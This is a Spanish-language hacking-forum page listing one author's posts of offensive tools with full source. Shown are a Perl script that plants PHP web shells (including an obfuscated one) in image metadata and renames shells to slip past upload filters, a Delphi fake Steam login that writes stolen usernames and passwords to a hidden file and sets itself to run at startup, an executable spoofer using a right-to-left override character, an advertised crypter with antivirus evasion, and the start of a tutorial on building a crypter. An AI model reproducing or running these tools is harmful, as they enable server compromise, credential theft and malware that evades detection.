elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 [7] 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ... 55
61  Programación / Scripting / [Perl] LFI Image Helper 0.8 en: 8 Mayo 2015, 15:57 pm
Un simple script en Perl para colocar codigo de phpshells en imagenes , el script tiene las siguientes opciones :

  • Listar todos los Tags de la imagen con contenido
  • Listar solo los Tags
  • Leer el valor de cierto Tag
  • Crear un Tag nuevo
  • Editar un Tag
  • Borrar un Tag
  • Infectar una imagen con un backdoor conocido en PHP

El codigo :

Código
  1. #!usr/bin/perl
  2. #LFI Image Helper 0.8
  3. #(C) Doddy Hackman 2015
  4. #ppm install  http://trouchelle.com/ppm/Image-ExifTool.ppd
  5. #
  6. #Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n
  7. #Thanks to Hood3dRob1n
  8. #
  9. #Dump Values
  10. #Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html
  11. #Thanks to Ken Slater
  12. #
  13. use Image::ExifTool;
  14. use Getopt::Long;
  15. use Color::Output;
  16. Color::Output::Init;
  17.  
  18. my @shells = (
  19.  
  20.    {},
  21.  
  22.    {
  23.  
  24.        "nombre"  => "Simple Backdoor",
  25.        "codigo"  => '<?php system($_GET["cmd"]);exit(1); ?>',
  26.        "ejemplo" => "?cmd="
  27.  
  28.    },
  29.    {
  30.  
  31.        "nombre" => "System Shell",
  32.        "codigo" =>
  33. '<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>',
  34.        "ejemplo" => "?cmd="
  35.  
  36.    },
  37.    {
  38.  
  39.        "nombre" => "Eval Shell",
  40.        "codigo" =>
  41. '<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>',
  42.        "ejemplo" => "?cmd="
  43.  
  44.    },
  45.    {
  46.  
  47.        "nombre" => "Sneaky Shell",
  48.        "codigo" =>
  49. '<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>',
  50.        "ejemplo" => "?0="
  51.  
  52.    },
  53.    {
  54.  
  55.        "nombre" => "r0ng Shell",
  56.        "codigo" =>
  57.          '<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>',
  58.        "ejemplo" => "?r0ng="
  59.  
  60.    }
  61.  
  62. );
  63.  
  64. GetOptions(
  65.    "dump_all=s"   => \$dump_all,
  66.    "dump_tags=s"  => \$dump_tags,
  67.    "read_tag=s"   => \$read_tag,
  68.    "tag=s"        => \$tag,
  69.    "make_tag=s"   => \$make_tag,
  70.    "value=s"      => \$value,
  71.    "update_tag=s" => \$update_tag,
  72.    "delete_tag=s" => \$delete_tag,
  73.    "backdoor=s"   => \$backdoor,
  74.    "bypass=s"     => \$bypass,
  75.    "file=s"       => \$file
  76. );
  77.  
  78. head();
  79.  
  80. if ($dump_all) {
  81.  
  82.    if ( -f $dump_all ) {
  83.        printear_titulo("[+] Finding information in : ");
  84.        print $dump_all. "\n\n";
  85.        dump_all($dump_all);
  86.    }
  87.    else {
  88.        printear("[-] File not found\n");
  89.    }
  90.  
  91. }
  92. elsif ($dump_tags) {
  93.  
  94.    if ( -f $dump_tags ) {
  95.        printear_titulo("[+] Finding tags in : ");
  96.        print $dump_tags. "\n\n";
  97.        dump_tags($dump_tags);
  98.    }
  99.    else {
  100.        printear("[-] File not found\n");
  101.    }
  102. }
  103. elsif ($read_tag) {
  104.  
  105.    if ( -f $read_tag ) {
  106.        printear_titulo("[+] Finding tag value of $tag in : ");
  107.        print $read_tag. "\n\n";
  108.        read_tag( $read_tag, $tag );
  109.    }
  110.    else {
  111.        printear("[-] File not found\n");
  112.    }
  113.  
  114. }
  115.  
  116. elsif ($make_tag) {
  117.  
  118.    if ( -f $make_tag ) {
  119.  
  120.        printear_titulo("[+] Photo : ");
  121.        print $make_tag. "\n";
  122.        printear_titulo("[+] Name : ");
  123.        print $tag. "\n";
  124.        printear_titulo("[+] Value : ");
  125.        print $value. "\n\n";
  126.  
  127.        printear("[+] Making tag $tag ...\n\n");
  128.  
  129.        make_tag( $make_tag, $tag, $value );
  130.  
  131.    }
  132.    else {
  133.        printear("[-] File not found\n");
  134.    }
  135. }
  136. elsif ($update_tag) {
  137.  
  138.    if ( -f $update_tag ) {
  139.  
  140.        printear_titulo("[+] Photo : ");
  141.        print $update_tag. "\n";
  142.        printear_titulo("[+] Name : ");
  143.        print $tag. "\n";
  144.        printear_titulo("[+] Value : ");
  145.        print $value. "\n\n";
  146.  
  147.        printear("[+] Updating tag $tag ...\n\n");
  148.  
  149.        update_tag( $update_tag, $tag, $value );
  150.  
  151.    }
  152.    else {
  153.        printear("[-] File not found\n");
  154.    }
  155. }
  156. elsif ($delete_tag) {
  157.  
  158.    if ( -f $delete_tag ) {
  159.        printear_titulo("[+] Deleting tag $tag in : ");
  160.        print $delete_tag. "\n\n";
  161.        delete_tag( $delete_tag, $tag );
  162.    }
  163.    else {
  164.        printear("[-] File not found\n");
  165.    }
  166.  
  167. }
  168. elsif ($backdoor) {
  169.  
  170.    if ( -f $backdoor ) {
  171.  
  172.        printear_titulo("[+] Photo : ");
  173.        print $backdoor. "\n\n";
  174.  
  175.        printear("[+] 1 : ");
  176.        print "Simple Backdoor\n";
  177.        printear("[+] 2 : ");
  178.        print "System Shell\n";
  179.        printear("[+] 3 : ");
  180.        print "Eval Shell\n";
  181.        printear("[+] 4 : ");
  182.        print "Sneaky Shell\n";
  183.        printear("[+] 5 : ");
  184.        print "r0ng Shell\n";
  185.  
  186.        printear_titulo("\n[+] Option : ");
  187.        chomp( my $opcion = <stdin> );
  188.  
  189.        backdoor_tag( $backdoor, $opcion, $file );
  190.  
  191.    }
  192.    else {
  193.        printear("[-] File not found\n");
  194.    }
  195.  
  196. }
  197. elsif ($bypass) {
  198.  
  199.    if ( -f $bypass ) {
  200.  
  201.        my $source = readfile($bypass);
  202.  
  203.        printear_titulo("[+] PHP Shell : ");
  204.        print $bypass. "\n\n";
  205.  
  206.        printear("[+] 1 : ");
  207.        print "bypass.jpg.php\n";
  208.        printear("[+] 2 : ");
  209.        print "bypass.php;test.jpg\n";
  210.        printear("[+] 3 : ");
  211.        print "bypass.php%00.jpg\n";
  212.  
  213.        printear_titulo("\n[+] Option : ");
  214.        chomp( my $opcion = <stdin> );
  215.  
  216.        if ( $opcion eq "1" ) {
  217.            savefile( $file . ".jpg.php", $source );
  218.            chmod 0777, $file . ".jpg.php";
  219.        }
  220.        elsif ( $opcion eq "2" ) {
  221.            savefile( $file . ".php;test.jpg", $source );
  222.            chmod 0777, $file . ".php;test.jpg";
  223.        }
  224.        elsif ( $opcion eq "3" ) {
  225.            savefile( $file . ".php%00.jpg", $source );
  226.            chmod 0777, $file . ".php%00.jpg";
  227.        }
  228.        else {
  229.            savefile( $file . ".jpg.php", $source );
  230.            chmod 0777, $file . ".jpg.php";
  231.        }
  232.  
  233.        printear("\n[+] PHP Shell Bypassed\n");
  234.  
  235.    }
  236.    else {
  237.        printear("\n[-] File not found\n");
  238.    }
  239.  
  240. }
  241. else {
  242.    sintax();
  243. }
  244.  
  245. copyright();
  246.  
  247. # Functions
  248.  
  249. sub backdoor_tag {
  250.  
  251.    my $image  = $_[0];
  252.    my $opcion = $_[1];
  253.    my $final  = $_[2];
  254.  
  255.    my $tag     = "Model";
  256.    my $nombre  = $shells[$opcion]->{nombre};
  257.    my $valor   = $shells[$opcion]->{codigo};
  258.    my $ejemplo = $shells[$opcion]->{ejemplo};
  259.  
  260.    printear("\n[+] Backdoor Name : ");
  261.    print "$nombre\n";
  262.    printear("[+] Backdoor Example : ");
  263.    print "$ejemplo\n";
  264.  
  265.    my $datos_imagen       = new Image::ExifTool;
  266.    my $informacion_imagen = $datos_imagen->ImageInfo($image);
  267.  
  268.    $datos_imagen->SetNewValue( $tag, $valor );
  269.  
  270.    unlink($final);
  271.  
  272.    $ok = $datos_imagen->WriteInfo( $image, $final );
  273.  
  274.    if ( $ok eq "1" ) {
  275.        printear_titulo("\n[+] Backdoor : ");
  276.        print "OK\n";
  277.        chmod 0777, $final;
  278.    }
  279.    else {
  280.        printear_titulo("\n[-] Backdoor: ");
  281.        print "Error\n";
  282.    }
  283.  
  284. }
  285.  
  286. sub delete_tag {
  287.  
  288.    my $imagen_target = $_[0];
  289.    my $tag           = $_[1];
  290.  
  291.    my $datos_imagen       = new Image::ExifTool;
  292.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  293.  
  294.    $datos_imagen->SetNewValue( $tag, undef );
  295.  
  296.    $ok = $datos_imagen->WriteInfo($imagen_target);
  297.  
  298.    if ( $ok eq "1" ) {
  299.        printear_titulo("[+] Tag $tag : ");
  300.        print "Deleted\n";
  301.    }
  302.    else {
  303.        printear_titulo("[-] Tag $tag : ");
  304.        print "Error\n";
  305.    }
  306.  
  307. }
  308.  
  309. sub update_tag {
  310.  
  311.    my $image = $_[0];
  312.    my $tag   = $_[1];
  313.    my $valor = $_[2];
  314.  
  315.    my $datos_imagen       = new Image::ExifTool;
  316.    my $informacion_imagen = $datos_imagen->ImageInfo($image);
  317.  
  318.    $datos_imagen->SetNewValue( $tag, $valor );
  319.  
  320.    $ok = $datos_imagen->WriteInfo($image);
  321.  
  322.    if ( $ok eq "1" ) {
  323.        printear_titulo("[+] Tag $tag : ");
  324.        print "Updated\n";
  325.    }
  326.    else {
  327.        printear_titulo("[-] Tag $tag : ");
  328.        print "Error\n";
  329.    }
  330.  
  331. }
  332.  
  333. sub make_tag {
  334.  
  335.    my $image = $_[0];
  336.    my $name  = $_[1];
  337.    my $value = $_[2];
  338.  
  339.    my $poc = Image::ExifTool->new();
  340.  
  341.    $poc->ExtractInfo($image);
  342.    $poc->SetNewValue( $name, $value );
  343.  
  344.    $ok = $poc->WriteInfo($image);
  345.  
  346.    if ( $ok eq "1" ) {
  347.        printear_titulo("[+] Tag $name : ");
  348.        print "Created\n";
  349.    }
  350.    else {
  351.        printear_titulo("[-] Tag $name : ");
  352.        print "Error\n";
  353.    }
  354.  
  355. }
  356.  
  357. sub read_tag {
  358.  
  359.    $imagen_target = $_[0];
  360.    $tag           = $_[1];
  361.  
  362.    my $datos_imagen       = new Image::ExifTool;
  363.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  364.  
  365.    $valor = $datos_imagen->GetValue($tag);
  366.  
  367.    if ( $valor eq "" ) {
  368.        printear("[-] Tag not found\n");
  369.    }
  370.    else {
  371.        printear("[+] $tag : ");
  372.        print $valor. "\n";
  373.    }
  374.  
  375. }
  376.  
  377. sub dump_tags {
  378.  
  379.    my $imagen_target = $_[0];
  380.  
  381.    my $datos_imagen       = new Image::ExifTool;
  382.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  383.  
  384.    @tags = $datos_imagen->GetFoundTags("File");
  385.  
  386.    for my $tag (@tags) {
  387.        printear("[+] Tag : ");
  388.        print $tag. "\n";
  389.    }
  390.  
  391. }
  392.  
  393. sub dump_all {
  394.  
  395.    my $imagen_target = $_[0];
  396.  
  397.    my $datos_imagen       = new Image::ExifTool;
  398.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  399.  
  400.    for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
  401.        my $valor = $informacion_imagen->{$abriendo_imagen};
  402.        printear("[+] $abriendo_imagen : ");
  403.        print $valor. "\n";
  404.    }
  405.  
  406. }
  407.  
  408. sub savefile {
  409.    open( SAVE, ">>" . $_[0] );
  410.    print SAVE $_[1] . "\n";
  411.    close SAVE;
  412. }
  413.  
  414. sub readfile {
  415.    open my $FILE, q[<], $_[0];
  416.    my $word = join q[], <$FILE>;
  417.    close $FILE;
  418.    return $word;
  419. }
  420.  
  421. sub printear {
  422.    cprint( "\x036" . $_[0] . "\x030" );
  423. }
  424.  
  425. sub printear_logo {
  426.    cprint( "\x037" . $_[0] . "\x030" );
  427. }
  428.  
  429. sub printear_titulo {
  430.    cprint( "\x0310" . $_[0] . "\x030" );
  431. }
  432.  
  433. sub sintax {
  434.  
  435.    printear("[+] Sintax : ");
  436.    print "perl $0 <option> <value>\n";
  437.    printear("\n[+] Options : \n\n");
  438.    print "-dump_all <image> : Get all information of a image\n";
  439.    print "-dump_tags <image> : Get all tags of a image\n";
  440.    print "-read_tag <image> -tag <tag> : Read value tags of a image\n";
  441.    print "-make_tag <image> -tag <tag> -value <value> : Make a new tag\n";
  442.    print "-update_tag <image> -tag <tag> -value <value> : Update tag\n";
  443.    print "-delete_tag <image> -tag <tag> : Delete tag\n";
  444.    print "-backdoor <image> -file <name> : Insert backdoor in a image\n";
  445.    print
  446. "-bypass <php shell> -file <name> : Rename extension of a image to bypass\n";
  447.    printear("\n[+] Example : ");
  448.    print "perl lfi_image_helper.pl -dump_all test.jpg\n";
  449.    copyright();
  450. }
  451.  
  452. sub head {
  453.    printear_logo("\n-- == LFI Image Helper 0.8 == --\n\n\n");
  454. }
  455.  
  456. sub copyright {
  457.    printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
  458.    exit(1);
  459. }
  460.  
  461. sub toma {
  462.    return $nave->get( $_[0] )->content;
  463. }
  464.  
  465. #The End ?
  466.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
62  Programación / Programación General / [Delphi] Fake Steam 0.3 en: 1 Mayo 2015, 17:05 pm
Un simple fake del programa Steam , parecia dificil pero con el poder de los skins de Delphi XE2 pude hacerlo "parecido".

Una imagen :



El codigo :

Código
  1. // Fake Steam 0.3
  2. // (C) Doddy Hackman 2015
  3.  
  4. unit fake;
  5.  
  6. interface
  7.  
  8. uses
  9.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.  System.Classes, Vcl.Graphics,
  11.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.Imaging.pngimage,
  12.  Vcl.StdCtrls, Registry;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    Image1: TImage;
  17.    Image2: TImage;
  18.    Edit1: TEdit;
  19.    Edit2: TEdit;
  20.    Image3: TImage;
  21.    Image4: TImage;
  22.    Image5: TImage;
  23.    Image6: TImage;
  24.    procedure Image2Click(Sender: TObject);
  25.    procedure Image3Click(Sender: TObject);
  26.    procedure Image4Click(Sender: TObject);
  27.    procedure Image5Click(Sender: TObject);
  28.    procedure Image6Click(Sender: TObject);
  29.    procedure FormCreate(Sender: TObject);
  30.  private
  31.    { Private declarations }
  32.  public
  33.    { Public declarations }
  34.  end;
  35.  
  36. var
  37.  Form1: TForm1;
  38.  
  39. implementation
  40.  
  41. {$R *.dfm}
  42.  
  43. procedure TForm1.FormCreate(Sender: TObject);
  44. var
  45.  nombrereal: string;
  46.  rutareal: string;
  47.  yalisto: string;
  48.  her: TRegistry;
  49.  
  50. begin
  51.  
  52.  try
  53.    begin
  54.      nombrereal := ExtractFileName(ParamStr(0));
  55.      rutareal := ParamStr(0);
  56.      yalisto := 'C:\WINDOWS\' + nombrereal;
  57.  
  58.      CopyFile(Pchar(rutareal), Pchar(yalisto), false);
  59.  
  60.      her := TRegistry.Create;
  61.      her.RootKey := HKEY_LOCAL_MACHINE;
  62.  
  63.      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
  64.      her.WriteString('ubersteam', yalisto);
  65.      her.Free;
  66.  
  67.      SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  68.      SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  69.    end;
  70.  except
  71.    //
  72.  end;
  73. end;
  74.  
  75. procedure TForm1.Image2Click(Sender: TObject);
  76. var
  77.  archivo: TextFile;
  78.  ruta: string;
  79.  
  80. begin
  81.  
  82.  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  83.  begin
  84.    try
  85.      begin
  86.        WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  87.      end;
  88.    except
  89.      //
  90.    end;
  91.  end
  92.  else
  93.  begin
  94.  
  95.    if Edit1.Text = '' then
  96.    begin
  97.      ShowMessage('Escriba tu usuario');
  98.    end;
  99.    if Edit2.Text = '' then
  100.    begin
  101.      ShowMessage('Escribe tu contraseña');
  102.    end
  103.    else
  104.    begin
  105.      if Edit2.Text = 'Escribe aqui tu contraseña' then
  106.      begin
  107.        ShowMessage('Escribe tu contraseña');
  108.      end
  109.      else
  110.      begin
  111.        try
  112.          begin
  113.            ruta := 'c:/windows/datos.txt'; // mod
  114.            if FileExists(ruta) then
  115.            begin
  116.              AssignFile(archivo, ruta);
  117.              FileMode := fmOpenWrite;
  118.              Append(archivo);
  119.              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  120.                Edit2.Text);
  121.              CloseFile(archivo);
  122.              Application.MessageBox
  123.                ('Se ha producido un error , es necesario reiniciar Steam',
  124.                'Steam', MB_OK);
  125.              Form1.Close;
  126.            end
  127.            else
  128.            begin
  129.              AssignFile(archivo, ruta);
  130.              FileMode := fmOpenWrite;
  131.              ReWrite(archivo);
  132.              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  133.                Edit2.Text);
  134.              CloseFile(archivo);
  135.              Application.MessageBox
  136.                ('Se ha producido un error , es necesario reiniciar Steam',
  137.                'Steam', MB_OK);
  138.              Form1.Close;
  139.            end;
  140.          end;
  141.        except
  142.          //
  143.        end;
  144.      end;
  145.    end;
  146.  end;
  147. end;
  148.  
  149. procedure TForm1.Image3Click(Sender: TObject);
  150. begin
  151.  Application.Terminate;
  152. end;
  153.  
  154. procedure TForm1.Image4Click(Sender: TObject);
  155. begin
  156.  ShowMessage('Not available');
  157. end;
  158.  
  159. procedure TForm1.Image5Click(Sender: TObject);
  160. begin
  161.  ShowMessage('Not available');
  162. end;
  163.  
  164. procedure TForm1.Image6Click(Sender: TObject);
  165. begin
  166.  ShowMessage('Not available');
  167. end;
  168.  
  169. end.
  170.  
  171. // The End ?
  172.  

Si quieren bajar el programa lo pueden hacer de aca.
63  Programación / Programación General / [Delphi] DH Server Manager 0.3 en: 24 Abril 2015, 17:25 pm
Un simple programa en Delphi para modificar ejecutables con las siguientes opciones :

  • File Pumper
  • Extension Spoofer
  • Icon Changer

Una imagen :



Código
  1. // DH Server Manager 0.3
  2. // (C) Doddy Hackman 2015
  3. // Based on : http://www.nerdprogrammer.in/2014/05/the-rats-crew-aio.html
  4.  
  5. unit dhserverman;
  6.  
  7. interface
  8.  
  9. uses
  10.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  11.  System.Classes, Vcl.Graphics,
  12.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  13.  Vcl.ExtCtrls, Vcl.Imaging.pngimage, madRes, StrUtils;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    PageControl1: TPageControl;
  18.    TabSheet1: TTabSheet;
  19.    TabSheet2: TTabSheet;
  20.    TabSheet3: TTabSheet;
  21.    GroupBox1: TGroupBox;
  22.    ruta_archivo: TEdit;
  23.    Button1: TButton;
  24.    GroupBox2: TGroupBox;
  25.    Button2: TButton;
  26.    StatusBar1: TStatusBar;
  27.    TabSheet5: TTabSheet;
  28.    GroupBox3: TGroupBox;
  29.    GroupBox4: TGroupBox;
  30.    count: TEdit;
  31.    UpDown1: TUpDown;
  32.    tipo_cantidad: TComboBox;
  33.    GroupBox5: TGroupBox;
  34.    ruta_icono: TEdit;
  35.    Button3: TButton;
  36.    GroupBox6: TGroupBox;
  37.    Image1: TImage;
  38.    OpenDialog1: TOpenDialog;
  39.    OpenDialog2: TOpenDialog;
  40.    GroupBox7: TGroupBox;
  41.    usefilepumper: TCheckBox;
  42.    iconchanger: TCheckBox;
  43.    extensiones: TComboBox;
  44.    selectextension: TCheckBox;
  45.    GroupBox8: TGroupBox;
  46.    mi_extension: TCheckBox;
  47.    esta_extension: TEdit;
  48.    extensionchanger: TCheckBox;
  49.    TabSheet4: TTabSheet;
  50.    Image2: TImage;
  51.    GroupBox9: TGroupBox;
  52.    Image3: TImage;
  53.    Memo1: TMemo;
  54.    procedure Button2Click(Sender: TObject);
  55.    procedure Button3Click(Sender: TObject);
  56.    procedure FormCreate(Sender: TObject);
  57.    procedure Button1Click(Sender: TObject);
  58.  private
  59.    { Private declarations }
  60.  public
  61.    { Public declarations }
  62.  end;
  63.  
  64. var
  65.  Form1: TForm1;
  66.  
  67. implementation
  68.  
  69. {$R *.dfm}
  70. // Functions
  71.  
  72. procedure file_pumper(archivo: string; cantidad: LongWord);
  73. var
  74.  arraycantidad: array of Byte;
  75.  abriendo: TFileStream;
  76. begin
  77.  abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
  78.  SetLength(arraycantidad, cantidad);
  79.  ZeroMemory(@arraycantidad[1], cantidad);
  80.  abriendo.Seek(0, soFromEnd);
  81.  abriendo.Write(arraycantidad[0], High(arraycantidad));
  82.  abriendo.Free;
  83. end;
  84.  
  85. procedure extension_changer(archivo: string; extension: string);
  86. var
  87.  nombre: string;
  88. begin
  89.  nombre := ExtractFileName(archivo);
  90.  nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
  91.    [rfReplaceAll, rfIgnoreCase]);
  92.  nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
  93.  MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
  94. end;
  95.  
  96. //
  97.  
  98. procedure TForm1.Button1Click(Sender: TObject);
  99. begin
  100.  if OpenDialog1.Execute then
  101.  begin
  102.    ruta_archivo.Text := OpenDialog1.FileName;
  103.  end;
  104. end;
  105.  
  106. procedure TForm1.Button2Click(Sender: TObject);
  107. var
  108.  change: dword;
  109.  valor: string;
  110.  tipocantidad: string;
  111.  tipoextension: string;
  112.  extensionacambiar: string;
  113. begin
  114.  
  115.  if not(FileExists(ruta_archivo.Text)) then
  116.  begin
  117.    ShowMessage('Select File to change');
  118.  end
  119.  else
  120.  begin
  121.  
  122.    StatusBar1.Panels[0].Text := '[+] Working ...';
  123.    Form1.StatusBar1.Update;
  124.  
  125.    if (usefilepumper.Checked) then
  126.    begin
  127.      tipocantidad := tipo_cantidad.Items[tipo_cantidad.ItemIndex];
  128.      if (tipocantidad = 'Byte') then
  129.      begin
  130.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 8);
  131.      end;
  132.      if (tipocantidad = 'KiloByte') then
  133.      begin
  134.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1024);
  135.      end;
  136.      if (tipocantidad = 'MegaByte') then
  137.      begin
  138.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1048576);
  139.      end;
  140.      if (tipocantidad = 'GigaByte') then
  141.      begin
  142.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1073741824);
  143.      end;
  144.      if (tipocantidad = 'TeraByte') then
  145.      begin
  146.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1099511627776);
  147.      end;
  148.    end;
  149.  
  150.    if (iconchanger.Checked) then
  151.    begin
  152.      try
  153.        begin
  154.          change := BeginUpdateResourceW
  155.            (PWideChar(wideString(ruta_archivo.Text)), false);
  156.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  157.            PWideChar(wideString(ruta_icono.Text)));
  158.          EndUpdateResourceW(change, false);
  159.        end;
  160.      except
  161.        begin
  162.          //
  163.        end;
  164.      end;
  165.    end;
  166.  
  167.    if (extensionchanger.Checked) then
  168.    begin
  169.      if not(selectextension.Checked and mi_extension.Checked) then
  170.      begin
  171.        if (selectextension.Checked) then
  172.        begin
  173.          extensionacambiar := extensiones.Items[extensiones.ItemIndex];
  174.          extension_changer(ruta_archivo.Text, extensionacambiar);
  175.        end;
  176.        if (mi_extension.Checked) then
  177.        begin
  178.          extension_changer(ruta_archivo.Text, esta_extension.Text);
  179.        end;
  180.      end;
  181.    end;
  182.  
  183.    StatusBar1.Panels[0].Text := '[+] Done';
  184.    Form1.StatusBar1.Update;
  185.  end;
  186.  
  187. end;
  188.  
  189. procedure TForm1.Button3Click(Sender: TObject);
  190. begin
  191.  if OpenDialog2.Execute then
  192.  begin
  193.    ruta_icono.Text := OpenDialog2.FileName;
  194.    Image1.Picture.LoadFromFile(OpenDialog2.FileName);
  195.  end;
  196. end;
  197.  
  198. procedure TForm1.FormCreate(Sender: TObject);
  199. begin
  200.  OpenDialog1.InitialDir := GetCurrentDir;
  201.  OpenDialog2.InitialDir := GetCurrentDir;
  202.  OpenDialog2.Filter := 'Icons|*.ico|';
  203. end;
  204.  
  205. end.
  206.  
  207. // The End ?
  208.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca.
64  Programación / Programación General / [Delphi] DH Crypter 1.0 en: 13 Abril 2015, 15:12 pm
Un simple crypter que hice en Delphi con las siguientes funciones :

  • Generador de key para el cifrado
  • Delay
  • Startup del archivo
  • Ocultar archivo
  • Melt File
  • Mensajes falsos
  • Ejecutar comandos
  • Matar procesos
  • Abrir URL
  • Descargar y ejecutar archivos
  • File Pumper,Extension Spoofer & Icon Changer
  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMware

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates

[!] Creditos :

[++] steve10120 [ RunPE ]

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Eso seria todo.
65  Seguridad Informática / Análisis y Diseño de Malware / [Delphi] Creacion de un Crypter en: 12 Abril 2015, 21:54 pm
[Titulo] : Creacion de un Crypter
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos

-- =================--------

0x01 : Introduccion

Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.

Empecemos ... 

0x02 : Creacion del Builder

Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :



Despues agregamos los siguientes elementos al formulario :

* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)

El Edit contendra la ruta del archivo a cifrar , el primer boton sera para buscar el archivo , el segundo boton para cifrar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.

Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"

Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".

El formulario les deberia quedar asi :



Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. begin
  3.  if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  4.  // del archivo a cifrar
  5.  begin
  6.    Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
  7.    // la ruta del archivo marcado en el openDialog1
  8.  end;
  9. end;
  10.  

Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button2Click(Sender: TObject);
  2. var
  3.  codigo: string; // Declaramos la variable "codigo" como string
  4.  key: integer; // Declaramos la variable "key" como integer
  5.  separador: string; // Declaramos la variable "separador" como string
  6.  linea: string; // Declaramos la variable "linea" como string
  7. begin
  8.  
  9.  separador := '-barra-';
  10.  // Establecemos el valor que tendra la variable "separador"
  11.  key := 123; // Establecemos el valor de la variable "key" como 123
  12.  
  13.  codigo := xor_now(leer_archivo(Edit1.Text), key);
  14.  // Leemos el archivo que hay en
  15.  // la caja de texto y ciframos con XOR el contenido usando una key
  16.  
  17.  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
  18.    Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  19.  // Copiamos el stub.exe con el nombre de done.exe
  20.  
  21.  linea := separador + codigo + separador + IntToStr(key) + separador;
  22.  // Establecemos
  23.  // la variable "linea" con el valor de contenido del archivo cifrado con
  24.  // XOR y la key del cifrado XOR
  25.  
  26.  escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  27.  // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  28.  // tambien ponemos el valor de la variable "linea"
  29.  
  30.  ShowMessage('Done');
  31.  
  32. end;
  33.  

El codigo les deberia quedar algo asi :



Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :



Una vez creada pongan el siguiente codigo :

Código
  1. // Unit : Tools for Crypter
